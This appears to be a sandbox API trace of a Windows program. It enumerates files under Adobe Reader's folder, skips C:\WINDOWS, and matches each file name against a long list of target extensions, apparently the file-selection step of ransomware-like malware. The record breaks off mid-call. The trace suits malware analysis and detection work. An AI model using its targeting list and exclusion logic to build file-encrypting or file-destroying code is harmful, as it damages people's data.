lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.816] lstrlenW (lpString="ui-strings.js") returned 13 [0263.816] lstrlenW (lpString=".1cd") returned 4 [0263.816] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.816] lstrlenW (lpString=".3ds") returned 4 [0263.816] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.816] lstrlenW (lpString=".3fr") returned 4 [0263.816] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.816] lstrlenW (lpString=".3g2") returned 4 [0263.816] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.816] lstrlenW (lpString=".3gp") returned 4 [0263.816] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.817] lstrlenW (lpString=".7z") returned 3 [0263.817] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.817] lstrlenW (lpString=".accda") returned 6 [0263.817] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.817] lstrlenW (lpString=".accdb") returned 6 [0263.817] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.817] lstrlenW (lpString=".accdc") returned 6 [0263.817] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.817] lstrlenW (lpString=".accde") returned 6 [0263.817] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.818] lstrlenW (lpString=".accdt") returned 6 [0263.818] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.818] lstrlenW (lpString=".accdw") returned 6 [0263.818] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.818] lstrlenW (lpString=".adb") returned 4 [0263.818] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.818] lstrlenW (lpString=".adp") returned 4 [0263.818] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.818] lstrlenW (lpString=".ai") returned 3 [0263.818] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.818] lstrlenW (lpString=".ai3") returned 4 [0263.818] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.818] lstrlenW (lpString=".ai4") returned 4 [0263.818] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.818] lstrlenW (lpString=".ai5") returned 4 [0263.818] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.818] lstrlenW (lpString=".ai6") returned 4 [0263.818] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.818] lstrlenW (lpString=".ai7") returned 4 [0263.818] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".ai8") returned 4 [0263.819] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".anim") returned 5 [0263.819] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.819] lstrlenW (lpString=".arw") returned 4 [0263.819] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".as") returned 3 [0263.819] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.819] lstrlenW (lpString=".asa") returned 4 [0263.819] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".asc") returned 4 [0263.819] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".ascx") returned 5 [0263.819] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.819] lstrlenW (lpString=".asm") returned 4 [0263.819] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".asmx") returned 5 [0263.819] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.819] lstrlenW (lpString=".asp") returned 4 [0263.819] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.819] lstrlenW (lpString=".aspx") returned 5 [0263.819] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.820] lstrlenW (lpString=".asr") returned 4 [0263.820] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".asx") returned 4 [0263.820] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".avi") returned 4 [0263.820] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".avs") returned 4 [0263.820] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".backup") returned 7 [0263.820] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.820] lstrlenW (lpString=".bak") returned 4 [0263.820] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".bay") returned 4 [0263.820] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".bd") returned 3 [0263.820] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.820] lstrlenW (lpString=".bin") returned 4 [0263.820] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".bmp") returned 4 [0263.820] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.820] lstrlenW (lpString=".bz2") returned 4 [0263.820] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".c") returned 2 [0263.821] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.821] lstrlenW (lpString=".cdr") returned 4 [0263.821] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".cer") returned 4 [0263.821] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".cf") returned 3 [0263.821] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.821] lstrlenW (lpString=".cfc") returned 4 [0263.821] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".cfm") returned 4 [0263.821] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".cfml") returned 5 [0263.821] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.821] lstrlenW (lpString=".cfu") returned 4 [0263.821] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".chm") returned 4 [0263.821] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".cin") returned 4 [0263.821] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".class") returned 6 [0263.821] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.821] lstrlenW (lpString=".clx") returned 4 [0263.821] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.821] lstrlenW (lpString=".config") returned 7 [0263.821] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.822] lstrlenW (lpString=".cpp") returned 4 [0263.822] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".cr2") returned 4 [0263.822] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".crt") returned 4 [0263.822] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".crw") returned 4 [0263.822] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".cs") returned 3 [0263.822] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.822] lstrlenW (lpString=".css") returned 4 [0263.822] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".csv") returned 4 [0263.822] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".cub") returned 4 [0263.822] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".dae") returned 4 [0263.822] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".dat") returned 4 [0263.822] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.822] lstrlenW (lpString=".db") returned 3 [0263.823] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.823] lstrlenW (lpString=".dbf") returned 4 [0263.823] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dbx") returned 4 [0263.823] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dc3") returned 4 [0263.823] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dcm") returned 4 [0263.823] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dcr") returned 4 [0263.823] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".der") returned 4 [0263.823] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dib") returned 4 [0263.823] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dic") returned 4 [0263.823] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".dif") returned 4 [0263.823] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.823] lstrlenW (lpString=".divx") returned 5 [0263.823] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.823] lstrlenW (lpString=".djvu") returned 5 [0263.823] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.824] lstrlenW (lpString=".dng") returned 4 [0263.824] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.824] lstrlenW (lpString=".doc") returned 4 [0263.824] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.824] lstrlenW (lpString=".docm") returned 5 [0263.824] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.824] lstrlenW (lpString=".docx") returned 5 [0263.824] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.824] lstrlenW (lpString=".dot") returned 4 [0263.824] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.824] lstrlenW (lpString=".dotm") returned 5 [0263.824] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.824] lstrlenW (lpString=".dotx") returned 5 [0263.824] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.825] lstrlenW (lpString=".dpx") returned 4 [0263.825] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".dqy") returned 4 [0263.825] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".dsn") returned 4 [0263.825] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".dt") returned 3 [0263.825] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.825] lstrlenW (lpString=".dtd") returned 4 [0263.825] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".dwg") returned 4 [0263.825] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".dwt") returned 4 [0263.825] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".dx") returned 3 [0263.825] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.825] lstrlenW (lpString=".dxf") returned 4 [0263.825] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.825] lstrlenW (lpString=".edml") returned 5 [0263.825] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.825] lstrlenW (lpString=".efd") returned 4 [0263.826] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".elf") returned 4 [0263.826] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".emf") returned 4 [0263.826] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".emz") returned 4 [0263.826] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".epf") returned 4 [0263.826] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".eps") returned 4 [0263.826] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".epsf") returned 5 [0263.826] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0263.826] lstrlenW (lpString=".epsp") returned 5 [0263.826] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0263.826] lstrlenW (lpString=".erf") returned 4 [0263.826] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".exr") returned 4 [0263.826] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0263.826] lstrlenW (lpString=".f4v") returned 4 [0263.826] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".fido") returned 5 [0263.827] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0263.827] lstrlenW (lpString=".flm") returned 4 [0263.827] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".flv") returned 4 [0263.827] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".frm") returned 4 [0263.827] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".fxg") returned 4 [0263.827] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".geo") returned 4 [0263.827] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".gif") returned 4 [0263.827] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".grs") returned 4 [0263.827] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".gz") returned 3 [0263.827] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0263.827] lstrlenW (lpString=".h") returned 2 [0263.827] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0263.827] lstrlenW (lpString=".hdr") returned 4 [0263.827] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0263.827] lstrlenW (lpString=".hpp") returned 4 [0263.827] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".hta") returned 4 [0263.828] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".htc") returned 4 [0263.828] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".htm") returned 4 [0263.828] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".html") returned 5 [0263.828] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0263.828] lstrlenW (lpString=".icb") returned 4 [0263.828] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".ics") returned 4 [0263.828] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".iff") returned 4 [0263.828] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".inc") returned 4 [0263.828] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0263.828] lstrlenW (lpString=".indd") returned 5 [0263.828] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0263.828] lstrlenW (lpString=".ini") returned 4 [0263.828] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".iqy") returned 4 [0263.829] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".j2c") returned 4 [0263.829] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".j2k") returned 4 [0263.829] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".java") returned 5 [0263.829] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0263.829] lstrlenW (lpString=".jp2") returned 4 [0263.829] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".jpc") returned 4 [0263.829] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".jpe") returned 4 [0263.829] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".jpeg") returned 5 [0263.829] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0263.829] lstrlenW (lpString=".jpf") returned 4 [0263.829] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0263.829] lstrlenW (lpString=".jpg") returned 4 [0263.829] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0263.830] lstrlenW (lpString=".jpx") returned 4 [0263.830] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0263.830] lstrlenW (lpString=".js") returned 3 [0263.830] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0263.830] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.830] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0263.830] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0263.830] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0263.830] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr") returned 105 [0263.830] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr") returned 1 [0263.830] lstrlenW (lpString="tr-tr") returned 5 [0263.831] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="tr-tr") returned -1 [0263.831] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0263.831] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr") returned 105 [0263.831] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\tr-tr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0263.831] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.831] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.832] lstrlenW (lpString="ui-strings.js") returned 13 [0263.832] lstrlenW (lpString=".1cd") returned 4 [0263.832] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.832] lstrlenW (lpString=".3ds") returned 4 [0263.832] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.832] lstrlenW (lpString=".3fr") returned 4 [0263.832] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.832] lstrlenW (lpString=".3g2") returned 4 [0263.832] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.832] lstrlenW (lpString=".3gp") returned 4 [0263.833] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.833] lstrlenW (lpString=".7z") returned 3 [0263.833] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.833] lstrlenW (lpString=".accda") returned 6 [0263.833] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.833] lstrlenW (lpString=".accdb") returned 6 [0263.833] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.833] lstrlenW (lpString=".accdc") returned 6 [0263.833] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.833] lstrlenW (lpString=".accde") returned 6 [0263.834] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.834] lstrlenW (lpString=".accdt") returned 6 [0263.834] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.834] lstrlenW (lpString=".accdw") returned 6 [0263.834] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.834] lstrlenW (lpString=".adb") returned 4 [0263.834] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".adp") returned 4 [0263.834] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".ai") returned 3 [0263.834] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.834] lstrlenW (lpString=".ai3") returned 4 [0263.834] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".ai4") returned 4 [0263.834] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".ai5") returned 4 [0263.834] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".ai6") returned 4 [0263.834] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".ai7") returned 4 [0263.834] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.834] lstrlenW (lpString=".ai8") returned 4 [0263.835] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".anim") returned 5 [0263.835] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.835] lstrlenW (lpString=".arw") returned 4 [0263.835] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".as") returned 3 [0263.835] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.835] lstrlenW (lpString=".asa") returned 4 [0263.835] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".asc") returned 4 [0263.835] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".ascx") returned 5 [0263.835] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.835] lstrlenW (lpString=".asm") returned 4 [0263.835] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".asmx") returned 5 [0263.835] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.835] lstrlenW (lpString=".asp") returned 4 [0263.835] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".aspx") returned 5 [0263.835] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.835] lstrlenW (lpString=".asr") returned 4 [0263.835] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.835] lstrlenW (lpString=".asx") returned 4 [0263.836] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".avi") returned 4 [0263.836] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".avs") returned 4 [0263.836] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".backup") returned 7 [0263.836] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.836] lstrlenW (lpString=".bak") returned 4 [0263.836] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".bay") returned 4 [0263.836] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".bd") returned 3 [0263.836] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.836] lstrlenW (lpString=".bin") returned 4 [0263.836] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".bmp") returned 4 [0263.836] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.836] lstrlenW (lpString=".bz2") returned 4 [0263.836] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".c") returned 2 [0263.837] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.837] lstrlenW (lpString=".cdr") returned 4 [0263.837] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".cer") returned 4 [0263.837] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".cf") returned 3 [0263.837] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.837] lstrlenW (lpString=".cfc") returned 4 [0263.837] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".cfm") returned 4 [0263.837] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".cfml") returned 5 [0263.837] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.837] lstrlenW (lpString=".cfu") returned 4 [0263.837] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".chm") returned 4 [0263.837] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".cin") returned 4 [0263.837] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.837] lstrlenW (lpString=".class") returned 6 [0263.838] lstrcmpiW (lpString1=".class", 